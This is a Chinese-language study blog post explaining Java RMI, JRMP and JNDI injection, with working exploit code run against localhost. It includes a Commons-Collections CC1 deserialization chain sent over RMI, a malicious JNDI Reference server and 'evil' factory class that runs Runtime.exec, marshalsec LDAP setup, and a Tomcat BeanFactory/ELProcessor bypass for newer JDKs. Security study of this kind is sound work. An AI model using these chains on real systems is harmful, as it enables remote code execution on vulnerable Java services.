Java利用方式

前言

链子的分析可以先放放,慢慢学跟着零溢出师傅先学一下利用方式,这里会涉及到RMI、JNDI、JRMP等。主要是讲JNDI

RMI

简介

Java RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java 虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。

在这个场景下又三方角色:服务端、客户端、注册中心

服务端和客户端持有相同的接口(interface)文件,但是客户端持有的仅仅是函数方法的声明接口,而服务端拥有该接口的具体实现(implements)。

但是接口必须被实现才能被调用,而客户端持有接口但不持有实现类。怎么才能让客户端调用方法呢?

这个时候就轮到注册中心登场了, 客户端的接口方法实现是由RMI注册中心去代理生成的,代理中心把方法调用通过网络传递到服务端。然后服务端也有一个注册中心,它解析网络上的请求并调用真正的接口实现

代码实现

首先我们需要开两个项目,一个是客户端,一个是服务端

我们先来看服务端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
//src目录下新建service包,里面新建Calc类,作为CS都持有的接口
package service;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Calc extends Remote {
    public int add(int a,int b)throws RemoteException;
    public void print(Object o)throws RemoteException;
}

//同service包,新建CalcImpl类,作为实现类实现接口,并重写方法
package service;

import java.rmi.RemoteException;

public class CalcImpl implements Calc{

    @Override
    public int add(int a, int b) throws RemoteException {
        int result = a+b;
        System.out.println(a+" + "+b+" = "+result);
        return result;
    }
	//重写print方法,用于后续打反序列化漏洞
    @Override
    public void print(Object o) throws RemoteException {
        System.out.println(o);
    }
}

//src目录下新建main文件,文件名为RMIserver
import service.Calc;
import service.CalcImpl;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIserver {
    public static void main(String[] args) throws RemoteException {
        //Registry (注册表): RMI 注册表可以看作是一个“电话簿”或“目录服务”。远程对象在启动后,需要将自己注册到这个“电话簿”上,并给自己取一个唯一的名字。客户端则通过这个“电话簿”来查找并获取远程对象的引用。
        //LocateRegistry.createRegistry(1099): 这行代码的作用是创建并启动一个 RMI 注册表服务。它会监听在指定的端口上,这里是 1099。
        Registry registry =  LocateRegistry.createRegistry(1099);
        Calc calc = new CalcImpl();
        //rebind (重新绑定): 这个方法的作用是将一个远程对象注册到 RMI 注册表中。
        //exportObject (导出对象): 它的作用是将一个普通的 Java 对象(calc)“导出”为一个可以接收远程调用的远程对象 (Remote Object)。
        registry.rebind("calc", UnicastRemoteObject.exportObject(calc,0));
    }
}

结构如图

image-20250729182546952

然后是客户端实现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//src目录下船舰service包,里面新建Calc,作为CS都持有的接口
package service;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface Calc extends Remote {
    public int add(int a,int b)throws RemoteException;
    public void print(Object o)throws RemoteException;
}

//src目录下新建main类,名为RMIClient
import service.Calc;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException {
        //客户端使用 getRegistry 来获取一个已经存在于网络某处的注册表服务的引用。
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        //registry.lookup("calc"): 客户端向注册表发出请求:“请帮我查找一个名为 calc 的服务”。并回去该服务的本地代理
        Calc calc = (Calc)registry.lookup("calc");
        //调用服务端重写后的方法
        int result = calc.add(1,2);
        System.out.println(result);
    }
}

结构如图

image-20250729182933115

最后实验结果如下

image-20250729181836569

漏洞利用

前面在服务端里重写了print方法,输出了一个object,这里可以通过这个来在服务端执行反序列化漏洞

我们还是打之前的cc1的payload,在客户端的main文件里做出如下修改

调用print方法,然后多了一个生成cc1链的过程

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import service.Calc;

import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        Calc calc = (Calc)registry.lookup("calc");
        //int result = calc.add(1,2);
        //System.out.println(result);
        calc.print(cc1());
    }

    public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "value");
        Map<Object, Object> decorated = TransformedMap.decorate(map, null, chainedTransformer);
        Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class, decorated);
        return o;
    }
}

结果如下:

image-20250730114757735

最后提一嘴,通过RMI利用反序列化漏洞是可行的,但是这要求我们本身知道服务端是如何重写方法的,实际上是很难利用的。不过我们还有别的利用方式

JRMP

简介

上集说到RMI可以跨网络调用方法,而JRMP就是RMI的底层依赖协议。

RMI(Java Remote Message Protocol,Java远程消息交换协议),基于TCP/IP,仅用于RMI

这个协议会序列化数据进行传输,所以一定会有反序列化的过程,只要我们把传输过程中序列化的数据替换成我们的反序列化利用链,那么就成功的利用了反序列化的漏洞

由于环境问题,这里需要开一个虚拟机模拟攻击,,然后虚拟机进行攻击的时候一直报一个错误

1
2
library initialization failed - unable to allocate file descriptor table - out of memory
zsh: IOT instruction

一直没有解决,这里就暂时就搁置一下

参考视频:

【Java安全】Ysoserial中的JRMP利用

JNDI

参考文章:JNDI注入原理及利用考究

简介

JNDI(Java Naming and Directory Interface)是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用于定位数据库服务或一个远程Java对象。

JNDI 的设计初衷是为了让 Java 程序用一套统一的代码 (InitialContext.lookup(...)) 就能从这些不同的数据源中获取对象,而不需要关心底层具体用的是什么协议。

JNDI 有一个非常强大但也非常危险的特性:动态远程类加载 (Dynamic Remote Class Loading)

当 JNDI 客户端 lookup 一个对象时,返回的不是一个普通的序列化数据,而是是一个特殊的 Reference 对象

这个 Reference 对象就像一张“介绍信”,它告诉 JNDI 客户端:

“你好,你要找的对象我这里没有,但是我知道怎么创建它。它的类名叫 SomeClassName,你可以去这个 URL 地址 (codebaseURL) 下载它的 .class 文件,然后自己加载并实例化它。”

如果 JNDI 客户端的配置是“信任”这张介绍信的,它就会真的去指定的 codebaseURL 下载并执行一个攻击者完全控制的远程类。这就导致了远程代码执行(RCE)

JNDI 注入就是攻击者通过各种手段(如 Log4j 的日志内容、Web 请求参数等)控制了 JNDI lookup 方法的 URL 字符串,使其指向一个攻击者控制的恶意 JNDI 服务器。

JNDI是服务端作为攻击端的注入,具体攻击流程图如下

攻击流程图

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

代码实现

这里写的是远程类加载,投递一个Reference对象,让被攻击方去下载执行这个类。

也可以投递一个恶意对象,让对方在接受并反序列化这个对象时触发漏洞

低版本JNDI+RMI

JDK版本是7u79,需要开两个项目,一个做客户端,一个做服务端

首先是客户端

结构如下:

image-20250801220337463

代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        //创建 JNDI 初始上下文。InitialContext 是 JNDI 操作的入口点。当它被创建时,它会初始化 JNDI 环境。
        InitialContext context = new InitialContext();
        //这段代码的意图是连接到运行在本机 1099 端口的 RMI 服务,并请求获取一个名为 "xxx" 的对象。
        context.lookup("rmi://127.0.0.1:1099/xxx");
    }
}

接下来是服务端,结构如下

image-20250801220558593

代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//RMIService
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIService {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建并启动一个 RMI 注册中心,监听在 1099 端口
        Registry registry =  LocateRegistry.createRegistry(1099);
        //创建一个 Reference 对象,这是 JNDI 注入的核心
        Reference reference =  new Reference(
                "evil", // className: 告诉客户端需要加载的类的名字
                "evil",// classFactory: 创建这个类实例的工厂类的名字(通常和 className 一样)
                "http://127.0.0.1:8000/"); // classFactoryLocation (codebase): 去哪里下载这个类的 .class 文件
        //将 Reference 对象包装并绑定到注册中心,名字是 "xxx",这样客户端就可以通过 "rmi://.../xxx" 来找到它
        registry.bind("xxx",new ReferenceWrapper(reference));
    }
}

//evil
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class evil implements ObjectFactory {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc"); //一个构造函数,里面实现的是恶意代码
    }
    // 实现了 ObjectFactory 接口,这是 JNDI 远程加载所要求的
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // JNDI 规范要求实现此方法,但对于简单的攻击,
        // 我们通常把恶意代码放在构造函数或静态代码块中,这里可以直接返回 null。
        return null;
    }
}

然后需要用javac编译一下evil.java文件

注意一下这里需要用7u79的版本编译,然后用python开启一下http服务

1
2
3
"D:\Program Files\Java\jdk1.7.0_79\bin\javac" evil.java

python -m http.server

可以打开浏览器查看一下

image-20250801231140040

最后结果:

image-20250801215632645

image-20250801220632822

原理解析

在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。

绑定了Reference之后,服务端会先通ReferenceablelgetReference(获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

整个利用流程如下: 目标代码中调用了InitialContext.lookup(URI),且URI为用户可控; 攻击者控制URI参数为恶意的RMI服务地址,如:rmi://hacker_mi_server//name。 攻击者RMI服务器向目标返回一个Reference对象,Reference对象中指定某个精心构造的Factory类。 目标在进行lookup(操作时,会动态加载并实例化Factory类,接着调用factory.getObjectInstance()获取外部远程对象实例。 攻击者可以在Factory类文件的构造方法静态代码块getObjectInstance()方法等处写入恶意代码,达到RCE的效果。

低版本JNDI+LDAP

前面也说了,如果JNDI客户端的配置是信任这个Reference对象的,才能去下载并执行那个远程类,但是从JDK8u121开始rmi远程对象的reference代码默认不信任,所以之后就不能用rmi的方式了,不过可以通过LDAP利用

LDAP是一种轻量级目录访问协议,目录是一个树状结构的组织数据,类似于文件目录,通过这个目录可以去查找一些相应的资源、信息。这个LDAP并不是java专属的的协议,是通用协议

接下来时如何利用,如果光靠代码进行这个利用的话,我们需要自己开启一个LDAP服务,不过也可以通过marshalsec启动LDAP服务。这样我们只需要准备一个恶意类并编译,再在恶意类的文件下开一个http服务就行

这里用的时零溢出师傅写的编译好的jar包,否则需要自己用maven打包一下

marshalsec.jar

在这个目录下开启一个http服务(我这是成功之后的截图,本来应该没有访问记录)

1
python -m  http.server

image-20250802125142965

然后在下载jar包的地方开启cmd并开启LDAP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#evil 1099

image-20250802125419300

最后是客户端代码

1
2
3
4
5
6
7
8
9
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDITest {
    public static void main(String[] args) throws NamingException {
        InitialContext context = new InitialContext();
        context.lookup("ldap://127.0.0.1:1099/evil");
    }
}

最后结果

image-20250802124915761

小结

其实用marshalsec就相当于帮我们写了服务端的代码,我们只需要编写恶意代码就行,不过都需要lookup函数参数是我们可控的。

高版本JNDI绕过

在 jdk8u191之后,上述的方法也被ban了,不过还有一种利用本地恶意 Class 作为Reference Factory的绕过方式

需要要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。

该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory接口,并实现该接口的 getObjectInstance() 方法。

最后发现org.apache.naming.factory.BeanFactory类是满足上述条件的,这个类的getObjectInstance() 方法会通过反射的方式实例化Reference所指向的任意BeanClass,并会调用setter方法为所有属性赋值。而这个BeanClass的属性和属性值均来自与Reference对象,是攻击者可控的。

如何绕过呢?

代码实现

参考链接:深入学习 Java 反序列化之 JNDI 运行逻辑(代码是照搬的)

首先org.apache.naming.factory.BeanFactory这个类存在于Tomcat8依赖包中,所以我们需要先下载Tomcat8,然后这里我们只需要三个jar包分别是catalina.jarel-api.jarjasper-el.jar

服务端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class JNDIByPass {
    public static void main(String[] args) throws Exception {
        //打印信息并创建 RMI 注册中心
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");
        Registry registry = LocateRegistry.createRegistry( 1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                ".newInstance().getEngineByName(\"JavaScript\")" +
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

客户端代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIClient {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1099/Object";
        Context context = new InitialContext();
        context.lookup(uri);
    }
}

运行结果image-20250802174855200

小结

写起来还是太杂了,全写在一块显得挺乱的。RMI就是一种远程调用接口方法的东西,需要知道服务端的代码是如何写的才能进行反序列化,但是JRMP可以进行一个补足。而JNDI是一种可以通过同一套代码从不同的数据源中获取对象的应用接口,可以进行RMI、LDAP等等的注入。还有高版本的JNDI绕过,这里也只是浅浅带过了一遍。其实还有其他的不依赖Tomcat8的绕过方法,不过这里还是先不学了。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计